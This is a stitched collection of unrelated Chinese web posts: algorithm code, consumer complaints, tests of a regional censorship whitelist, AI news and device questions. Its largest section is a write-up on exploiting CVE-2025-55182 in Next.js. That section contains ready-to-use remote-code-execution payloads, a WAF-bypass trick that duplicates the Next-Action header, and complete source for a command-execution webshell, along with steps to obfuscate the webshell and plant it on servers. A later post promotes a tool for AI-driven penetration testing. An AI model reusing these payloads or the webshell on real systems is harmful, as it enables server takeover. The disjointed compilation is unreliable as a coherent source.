                for (int k = i; k <= j; k++) {
                    currentSum += array[k];
                }
                
                // 更新最大和及位置(优先选择长度更长的)
                if (currentSum > maxSum || (currentSum == maxSum && (j - i) > (end - start))) {
                    maxSum = currentSum;
                    start = i;
                    end = j;
                }
            }
        }
        
        // 构建结果数组
        int[] result = new int[end - start + 1];
        System.arraycopy(array, start, result, 0, result.length);
        return result;
    }
}
  • 时间复杂度:O(n³),三重循环嵌套
  • 空间复杂度:O(1),除结果外只使用常数空间

优化枚举法(前缀和思想)

在暴力法基础上优化,利用前缀和在计算子数组和时复用之前的结果,减少一层循环

public class Solution {
    public int[] findMaxSubarray(int[] array) {
        if (array == null || array.length == 0) {
            return new int[0];
        }
        
        int n = array.length;
        int maxSum = Integer.MIN_VALUE;
        int start = 0, end = 0;
        
        // 外层循环:子数组起始位置
        for (int i = 0; i < n; i++) {
            int currentSum = 0;
            // 内层循环:从起始位置向后累加
            for (int j = i; j < n; j++) {
                currentSum += array[j]; // 复用之前计算的结果
                
                // 更新最大和(优先选择长度更长的)
                if (currentSum > maxSum || (currentSum == maxSum && (j - i) > (end - start))) {
                    maxSum = currentSum;
                    start = i;
                    end = j;
                }
            }
        }
        
        return buildResult(array, start, end);
    }
    
    private int[] buildResult(int[] array, int start, int end) {
        int[] result = new int[end - start + 1];
        System.arraycopy(array, start, result, 0, result.length);
        return result;
    }
}
  • 时间复杂度:O(n²),减少了一层循环
  • 空间复杂度:O(1),常数级别空间复杂度

分治法(递归思维)

采用分治思想,将问题分解为更小的子问题

将问题分解为左半部分、右半部分和跨越中间的三部分

即递归求解左右子数组,合并时处理跨越中间的情况

public class Solution {
    public int[] findMaxSubarray(int[] array) {
        if (array == null || array.length == 0) {
            return new int[0];
        }
        Result result = findMaxSubarrayHelper(array, 0, array.length - 1);
        return buildResult(array, result.start, result.end);
    }
    
    private Result findMaxSubarrayHelper(int[] array, int left, int right) {
        // 基准情况:单个元素
        if (left == right) {
            return new Result(left, right, array[left]);
        }
        
        int mid = left + (right - left) / 2;
        
        // 递归求解左右两部分
        Result leftResult = findMaxSubarrayHelper(array, left, mid);
        Result rightResult = findMaxSubarrayHelper(array, mid + 1, right);
        Result crossResult = findMaxCrossingSubarray(array, left, mid, right);
        
        // 返回三者中的最大值(长度优先)
        return getMaxResult(leftResult, rightResult, crossResult);
    }
    
    private Result findMaxCrossingSubarray(int[] array, int left, int mid, int right) {
        // 向左扩展找最大和
        int leftSum = Integer.MIN_VALUE;
        int sum = 0;
        int maxLeft = mid;
        for (int i = mid; i >= left; i--) {
            sum += array[i];
            if (sum > leftSum) {
                leftSum = sum;
                maxLeft = i;
            }
        }
        
        // 向右扩展找最大和
        int rightSum = Integer.MIN_VALUE;
        sum = 0;
        int maxRight = mid + 1;
        for (int i = mid + 1; i <= right; i++) {
            sum += array[i];
            if (sum > rightSum) {
                rightSum = sum;
                maxRight = i;
            }
        }
        
        return new Result(maxLeft, maxRight, leftSum + rightSum);
    }
    
    private Result getMaxResult(Result r1, Result r2, Result r3) {
        Result maxResult = r1;
        if (r2.sum > maxResult.sum || (r2.sum == maxResult.sum && (r2.end - r2.start) > (maxResult.end - maxResult.start))) {
            maxResult = r2;
        }
        if (r3.sum > maxResult.sum || (r3.sum == maxResult.sum && (r3.end - r3.start) > (maxResult.end - maxResult.start))) {
            maxResult = r3;
        }
        return maxResult;
    }
    
    private int[] buildResult(int[] array, int start, int end) {
        int[] result = new int[end - start + 1];
        System.arraycopy(array, start, result, 0, result.length);
        return result;
    }
    
    // 辅助类存储子数组结果
    class Result {
        int start, end, sum;
        Result(int s, int e, int sum) {
            this.start = s;
            this.end = e;
            this.sum = sum;
        }
    }
}
  • 时间复杂度:O(n log n),递归深度为log n,每层处理时间为O(n)
  • 空间复杂度:O(log n),递归调用栈的深度

动态规划-Kadane算法(最优解)

遍历数组,维护当前子数组和,根据规则重置或扩展当前子数组

假设现在有 n 个元素,突然加上⼀个元素,变成 n+1 个元素,对连续⼦数组的最⼤和有什么影响呢?

我们只需要知道以每⼀个元素结尾的最⼤连续⼦数组,再维护⼀个最⼤的值即可。

假设数组为num[] ,⽤ dp[i] 表示以下标 i 为终点的最⼤连续⼦数组和,遍历每⼀个新的元素nums[i+1] ,以 num[i+1] 为连续⼦数组的情况只有两种:

  • dp[i] + num[i+1]
  • 只有num[i+1]

所以以nums[n] 结尾的最⼤连续⼦数组和为: dp[i] = max( dp[i-1] + num[i], num[i])

在计算的过程中,需要维护⼀个最⼤的值,并且把该连续⼦数组的左边界以及右边界维护好,最后根据维护的区间返回。

public class Solution85 {
    public int[] FindGreatestSumOfSubArray(int[] array) {
        int[] dp = new int[array.length];
        dp[0] = array[0];
        int maxsum = dp[0];
        int left = 0, right = 0;
        int maxLeft = 0, maxRight = 0;
        for (int i = 1; i < array.length; i++) {
            right++;
            dp[i] = Math.max(dp[i - 1] + array[i], array[i]);
            if (dp[i - 1] + array[i] < array[i]) {
                left = right;
            }
            // 更新最⼤值以及更新最⼤和的⼦数组的边界
            if (dp[i] > maxsum || dp[i] == maxsum && (right - left + 1) > (maxRight - maxLeft + 1)) {
                maxsum = dp[i];
                maxLeft = left;
                maxRight = right;
            }
        }
        // 保存结果
        int[] res = new int[maxRight - maxLeft + 1];
        for (int i = maxLeft, j = 0; i <= maxRight; i++, j++) {
            res[j] = array[i];
        }
        return res;
    }
}
  • 时间复杂度:O(n),单次遍历数组
  • 空间复杂度:O(1),只使用常数变量

在[去哪儿]上买的春节期间一家人返乡的车票, 然后订回程票的时候才发现金额有点问题, 查询订单详情才发现没人额外扣了笔 40 元的意外险附加费用, 查了下去程的车票, 果然也被扣了. 之后我又复盘了下这个套路, 发现真的非常容易踩坑:

1. 用过[去哪儿]的, 应该都知道, 在购票的环节都会出现三个购票选项, 只有一个是以 12306 原价购票, 另外两个都是捆绑酒店或是其他权益的, 当然它起码有小字用低对比度颜色注明了会加多少钱. 当你选了原价购票的选项自以为不被平台套路, 但实际上这个意外险增值服务是以底部弹窗的形式出现在跳转支付前的一个页面弹窗大致意思是大致意思是保障出行,这个弹窗没有标注会加多少钱, 而且按照一般习惯跳转支付前是有个确认底部弹窗很正常, 就很容易忽视这是个附加服务购买的确认弹窗

2. 最终确认金额的时候很难察觉的金额不对, 众所周知春节期间车票靠抢, 一般会选择多个车次和座位作候补, 而最终付款时是以金额最贵的车票付费, 之后抢到后再退费. 因此看到支付时多出 8%左右的费用会下意识的以为买的是较贵的车次. 我在买回程车票的时候之所以察觉到问题就是因为回程车票只选了一个车次, 就察觉到付款时与车票价格的差别. 幸亏没有选择开通平台自动扣费, 不然连察觉的机会都没有.

3. 如果是短途车票或是单人购票, 是不会有这个底部弹窗, 它赌的就是你数学不好. 以往买过很多单人都没遇到这种情况.

结果: 当我发现被套路扣费后还想着在平台退款, 然后它居然敢不提供该附加费用退款的选项. 自动客服也不给退. 打电话也说不给退, 最后转人工退了. 不然还打算 12377 伺候. 各位如果被套路的可以 12377 举报一波了.

空闲时候花了几分钟做了一个 Win 的刘海,如下图:
Windowsliuhai

Windowsliuha2i

目前可以显示时间,按理在这块“刘海”是可以显示更多的内容,比如 todoList,或是每日提醒,或是每日一句。

150932d7a7si4n5ya48477

今天早上,准备离开泉州,泉州是我旅行的其中一站,我是故意选择泉州旅行去体验传说中的白名单的,(上一站是漳州,所有自建节点完全正常)。

个人认为,泉州白名单确实存在,不是传说,客户端用 QuantumultX ,我实测的结果如下:

1.)只针对用域名+TLS 的翻墙,所有 CDN 阵亡、所有 WS+TLS 、XTLS Vision(TCP)、TLS+TCP 阵亡。

2.) 非白名单网站,无论套了 CF CDN / AWS CDN 还是直连,就算用普通浏览器打开 https://也打不开,(最简单用自己的域名试便知道了)。

3.)非 TLS 翻墙,例如 SS2022 / VMESS / VMESS+WS (过 AWS CDN),无论用域名还是 IP 都可以正常使用。

4.)偷白名单网站证书的 Reality ,能够正常使用。

5.) DNS 无论是境外还是自建的 DOH ,全部阵亡,但我自建的境外 DOQ 能用,(走 udp 443 端口)..

希望对大家了解泉州白名单有所帮助。

谷歌 DeepMind 的研究人员提出了ATLAS,这是一套针对多语言语言模型的缩放定律,用于形式化描述随着支持语言数量的增加,模型规模、训练数据量以及语言组合之间如何相互作用。该研究基于 774 次受控训练实验,模型参数规模从 1000 万到 80 亿不等,使用覆盖 400 多种语言的多语言训练数据,并在 48 种目标语言上评估模型性能。

 

现有的大多数缩放定律主要来源于仅使用英语或单一语言的训练设置,因此对于多语言训练的模型只能提供有限的指导。ATLAS 在此基础上进行了扩展,显式建模了跨语言迁移以及由多语言训练引入的效率权衡。该框架不再假设新增语言会产生统一影响,而是估计在训练过程中,单个语言如何促进或干扰其他语言的性能表现。

 

ATLAS 的核心是一种跨语言迁移矩阵,用于衡量在一种语言上训练对另一种语言性能的影响。分析结果表明,正向迁移与共享书写系统和语言家族高度相关。例如,斯堪的纳维亚语言之间表现出明显的相互增益,而马来语和印尼语则构成了一个高迁移效率的语言对。英语、法语和西班牙语则表现为广泛有益的源语言,这很可能与其数据规模和多样性有关,但这种迁移效应并不具备对称性。

ATLAS 通过将训练语言数量与模型规模和数据量一并纳入建模,扩展了传统的缩放定律。它量化了所谓的“多语言诅咒”:在模型容量固定的情况下,随着支持语言数量的增加,每种语言的性能会下降。实验结果表明,在保持性能不变的前提下,若语言数量翻倍,模型规模需增加约 1.18 倍,总训练数据量需增加约 1.66 倍;而正向的跨语言迁移可以在一定程度上抵消单语言数据减少所带来的性能下降。

 

该研究还分析了在不同条件下,是从零开始预训练一个多语言模型,还是在已有多语言模型检查点上进行微调更为有效。结果显示,在较低 token 预算下,微调在计算效率上更具优势;而当训练数据和计算资源超过某一与语言相关的阈值后,从头预训练反而更有利。对于 20 亿参数规模的模型,这一拐点通常出现在约 1440 亿到 2830 亿 token 之间,为根据可用资源选择训练策略提供了实用参考。

 

此次发布也引发了关于替代模型架构的讨论。一位 X 用户评论道:

与其训练一个在每种语言上都使用大量冗余数据的超大模型,一个纯粹用于翻译的模型需要多大规模?这样又能让基础模型缩小多少?

 

尽管 ATLAS 并未直接回答这一问题,但其提供的迁移测量结果和缩放规则,为探索模块化或专用化的多语言模型设计奠定了定量基础。

原文链接:

https://www.infoq.com/news/2026/01/google-deepmind-atlas/

漏洞刚出来,就有反转反转,最终经过测试,总结了一些利用方式

环境搭建

npm create next-app@16.0.6 react -y
npm run dev

常规payload利用

经过参考网上的payload,我在实际利用过程中进行了一些细微的改造,让它利用起来更加舒服。

注:lc.com为本地hosts映射的本地IP,非公网服务器,请勿随意对公网服务器进行攻击

payload-1 execSync同步执行

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('【命令】').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

常规payload,回显在响应头部

image-20251211115416747

image-20251211115439174

这种payload比较清晰明了,但是如果执行的命令是返回多行的,就不凑效了,因为不能给响应头的值设置成多行的,可以将多行命令拼接成一行,不过构造命令挺麻烦的,于是就有了payload2

payload-2 execSync同步执行

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('【命令】').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

image-20251211121140675

将返回内容进行base64解码得到多行结果

image-20251211121500569

为了方便输入复杂的命令,这里把输入的命令也进行base64编码进行传输,这里测试callback的代码,也可以完美执行。

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync(Buffer.from('【base64编码的命令】','base64').toString()).toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

image-20251211121816556

但是像这种耗时命令会因为同步执行被阻塞住,这类命令后台都是返回500的,如果是执行反弹shell,这种可能会直接卡住。

image-20251211122159652

我这里执行ping 127.0.0.1 -t让他阻塞住,我现在后面发送的请求都不会有响应,因为被阻塞住了

image-20251211122523014

因此又有了payload-3

payload-3 exec异步执行

exec可以不阻塞执行命令,即使ping 127.0.0.1 -t,也能继续执行后续操作,但是也有个弊端,无法直接返回执行结果,因此可以搭配callback网站使用,请求会立即返回一个对象,命令执行结果返回到callback里面

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').exec(Buffer.from('【base64编码命令】','base64').toString()).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

image-20251211125010409

image-20251211125046061

waf绕过

实际测试过程中,我遇到过一些waf,目前遇到的,我只要两个方法就能直接绕过。

注:下面测试的站点不存在此漏洞,只为演示绕过waf

首先第一个位置绕过,正常发送直接被拦了

image-20251211125855436

删内容,找到关键拦截点,经过测试,第一个点是在这个payload位置

image-20251211130113454

这个位置常规使用脏数据可以绕过大部分的waf了

image-20251211130342905

然后第二处就是关键头部,Next-Action是必须要的,如果没有这个头部,将无法执行命令

image-20251211130516262

image-20251211130551835

但是只要有这个头部,就直接被拦住了,很明显waf专门针对这个漏洞进行了规则配置

image-20251211130830660

我尝试了脏数据,添加一堆头部,加到装不下了,也绕过不了

image-20251211130959435

最后经过尝试,只需要重复Next-Action就行了,猜测应是读取头部指定键时,如果存在多个指定键,会报错,或者waf判断的是这个键的数量是不是1

image-20251211131150488

且双写头部,是可以正常执行命令的

image-20251211131504282

写马踩坑

写木马也有坑点,无论是写linux的还是windows的

写木马最好是用base64编码来写,这样子可以减少需要转义的字符

shell代码如下:

import { NextResponse } from 'next/server';
import { exec } from 'child_process';

// GET 请求处理(仅从URL参数获取参数)
export async function GET(request) {
  return new Promise((resolve) => {
    try {
      // 从URL参数获取demo和b64参数
      const { searchParams } = new URL(request.url);
      const demo = searchParams.get('demo');
      const b64 = searchParams.get('b64'); // 获取b64参数,判断是否解码

      // 校验demo参数是否存在
      if (!demo) {
        resolve(NextResponse.json(
          { error: '缺少demo参数' },
          { status: 400 }
        ));
        return;
      }

      // 根据b64参数判断是否解码:b64=1时解码,否则直接使用原始内容
      const command = b64 === '1' 
        ? Buffer.from(demo, 'base64').toString('utf-8') 
        : demo;

      // 执行命令
      exec(command, (error, stdout, stderr) => {
        if (error) {
          console.error('执行错误:', error);
          resolve(NextResponse.json(
            { error: '执行失败', message: error.message },
            { status: 500 }
          ));
          return;
        }

        const result = (stdout || stderr).toString().trim();
        resolve(new NextResponse(result, {
          status: 200,
          headers: {
            'Content-Type': 'text/plain; charset=utf-8',
          },
        }));
      });
    } catch (error) {
      console.error('参数处理错误:', error);
      resolve(NextResponse.json(
        { error: '执行失败', message: error.message },
        { status: 500 }
      ));
    }
  });
}

// POST 请求处理(支持URL参数 + FormData格式body)
export async function POST(request) {
  return new Promise(async (resolve) => {
    try {
      // 1. 优先从URL参数获取demo和b64参数
      const { searchParams } = new URL(request.url);
      let demo = searchParams.get('demo');
      let b64 = searchParams.get('b64');

      // 2. URL参数不存在时,从FormData格式的body获取
      if (!demo) {
        const formData = await request.formData();
        demo = formData.get('demo');
        // 同时从body获取b64参数(兼容body传b64的场景)
        if (!b64) b64 = formData.get('b64');
      }

      // 3. 校验demo参数是否存在
      if (!demo) {
        resolve(NextResponse.json(
          { error: '缺少demo参数' },
          { status: 400 }
        ));
        return;
      }

      // 根据b64参数判断是否解码:b64=1时解码,否则直接使用原始内容
      const command = b64 === '1' 
        ? Buffer.from(demo, 'base64').toString('utf-8') 
        : demo;

      // 执行命令
      exec(command, (error, stdout, stderr) => {
        if (error) {
          console.error('执行错误:', error);
          resolve(NextResponse.json(
            { error: '执行失败', message: error.message },
            { status: 500 }
          ));
          return;
        }

        const result = (stdout || stderr).toString().trim();
        resolve(new NextResponse(result, {
          status: 200,
          headers: {
            'Content-Type': 'text/plain; charset=utf-8',
          },
        }));
      });
    } catch (error) {
      console.error('参数处理错误:', error);
      resolve(NextResponse.json(
        { error: '执行失败', message: error.message },
        { status: 500 }
      ));
    }
  });
}

首先对shell文件进行压缩混淆,增加被发现难度,我用JavaScript/Html在线格式化-Js/Html压缩-Js加密压缩工具,先压缩后混淆

image-20251211132045366

windows

使用命令写入,先从windows开始踩坑,需要执行的命令如下:

mkdir E:\漏洞测试环境\create-next-app\app\api\shell && echo [压缩后的代码] > E:\漏洞测试环境\create-next-app\app\api\shell\route.js 

这个命令是发送到服务器执行的代码,99%是会报错的,因为压缩后的代码依旧存在大量cmd已经定义的符号。&><等,需要统一替换代码中的这些特殊符号,在前面加一个 ^进行转义才能真正写入

未转移在cmd执行会因为各种符号报错,我示例这里直接echo输出shell代码

image-20251211133342709

转义后再次执行,这次没报错了

image-20251211133429449

linux

linux因为可以使用EOF,轻松多了,但是如果你使用base64编码后的命令,可能会出现你写入的文件名不对的问题

mkdir -p /home/lc/Public/bugtest/react/app/api/shell && cat << 'EOF' > /home/lc/Public/bugtest/react/app/api/shell/route.js
[shell代码]
EOF

image-20251211134244914

这里乍一看都是一样的文件名,其中一个是我通过漏洞写入的,但是怎么会有一样的文件名呢?

切管理员上帝视角看一下,很明显看到第二个我用漏洞写入的文件后面是有特殊符号的

image-20251211134433716

其实是因为window和linux换行符的原因,windown用的CRLF,linux是LF,所以因为换行符不一致导致编码后多出不可见符号,解决方法很简单,如图,把输入字符串改成LF,然后把文件名后面的CR删掉就可以了(代码的CR删不删都行,不影响)

image-20251211135041873

最终效果:

这里我把传参由demo改成了minl,

image-20251211135255798

也可以base64编码命令

image-20251211135409829

工具分享

文中我用到的工具我也上传了github,自己写的,不是专业开发,可能会有小bug,遇到欢迎提

https://github.com/LC-pro/CVE-2025-55182-EXP

谷歌发布学术插图生成工具--PaperBanana
主要特点:
🌟 类人工作流程:检索 🔍 - 计划 📝 - 风格 🎨 - 渲染 🖼️ - 评论 🔄 。既保证了学术严谨性,又兼顾了美观性。
🌟 多功能:支持说明性图表和统计图表。
🌟 润色:对润色现有的人工绘制的图表也有效。

[开源] AutoRedTeam-Orchestrator - 给 AI 编辑器装上渗透测试工具箱

项目简介

AutoRedTeam-Orchestrator 是一个基于 Model Context Protocol (MCP) 的 AI 驱动自动化渗透测试框架。

它将 101 个安全工具 封装为 MCP 工具,可与支持 MCP 的 AI 编辑器 (Claude Code, Cursor, Windsurf, Kiro, Claude Desktop) 无缝集成,实现自然语言驱动的自动化安全测试

简单说:配置好之后,直接跟 AI 说「帮我扫描 xxx.com 的漏洞」就行了



项目数据概览

指标数量
MCP 工具101
Payload 库2,000+
测试用例1,461
漏洞检测器19


为什么选择 AutoRedTeam-Orchestrator?

特性传统工具AutoRedTeam-Orchestrator
交互方式命令行记忆自然语言对话
学习成本高(需记忆大量参数)低(AI 自动选择工具)
工具整合手动切换工具101 工具统一接口
攻击链规划人工规划MCTS 算法 + 知识图谱
误报过滤人工验证OOB + 统计学验证
报告生成手动编写一键生成专业报告
会话管理支持断点续传
安全性各工具独立MCP 安全中间件统一防护


为什么做这个?

最早是在用 HexStrike,还参与过二次开发,和 #96 分支作者 Ynee 也有过深入交流。

后来在社区找到了 HexStrike 原作者,但他似乎遇到了一些生活上的困难,项目更新明显放缓了。

与其等待,不如自己动手。正好使用中也积累了一些想法:

  1. 为什么非得在 Kali 上跑? → 做成 Windows 原生,Linux 也兼容

  2. 为什么不能和 AI 编辑器联动? → 基于 MCP 协议,Claude Code 直接调用

  3. 为什么工具这么分散? → 101 个工具整合到一起

于是就有了这个项目。


技术栈 & 兼容性

技术栈

语言 Python 3.10+

协议 MCP (Model Context Protocol)

并发 asyncio / httpx / aiohttp

算法 MCTS 蒙特卡洛树搜索

存储 内存图存储 / SQLite

安全 输入验证 / 速率限制 / 操作授权

已测试支持

CLI 工具:

  • Claude Code (终端)

  • Gemini CLI

  • Codex CLI(道德感严重 )

  • iFlow CLI

IDE / 桌面端:

  • Cursor

  • Windsurf

  • Kiro

  • Claude Desktop

  • VS Code (with MCP extension)

基本上只要能跑 MCP 的 IDE/CLI 都可以用这个项目


结果案例:





codex扫描时间过长我停了,具体各位佬可以重新测试一下

GitHub

GitHub - Coff0xc/AutoRedTeam-Orchestrator: AI-Driven Automated Red Team Orchestration Framework | AI驱动的自动化红队编排框架 | 101 MCP Tools | 2000+ Payloads | Full ATT&CK Coverage | MCTS Attack Planner | Knowledge Graph | Cross-platform

欢迎 Star 和 PR!


免责声明

本工具仅限以下场景使用:

  • 授权渗透测试

  • 红队安全评估

  • 安全研究学习

  • CTF 竞赛

严禁用于:

  • 未经授权测试他人系统

  • 任何非法用途

使用本工具造成的任何法律后果由使用者自行承担。

狗头保命,希望大家合法合规使用~


第一次在 L 站发自己的项目,有问题欢迎回帖讨论,也可以去 GitHub 发 Issue 或者按项目里的邮箱联系我,看到就会回复。

希望大家共同进步,也请各位师傅斧正!


📌 转载信息
转载时间: 2026/2/5 05:19:59

目前系统版本 ios26.2 ,由于充电比较方便,手机购买后电量都没低于 20%过,昨天外出忘了充电,电量低开启省电模式才发现这个问题。目前 ios26 优化也太拉了吧!

描述:

本人电脑上的系统仍停留在 Sequoia 15.7.3 ,主要是因为作为主力浏览器的 Safari 会在更新 macOS Tahoe 后失去 Compact Tab layout ,这对我来说是 a big NO NO!

后来发现,Safari 26 在 Sequoia 15.7.3 上似乎还支持 Compact Tab ;我猜想,Tahoe 上弧度很大的圆角设计让苹果在新系统上放弃了 Compact Tab layout ,但在旧系统上仍然保留。

因此,我有在 Sequoia 上单独更新浏览器到 Safari 26.2 的想法。

问题:

有人在 Sequoia 上使用 Safari 26 吗?体验如何?耗能、bug 、流畅度 etc.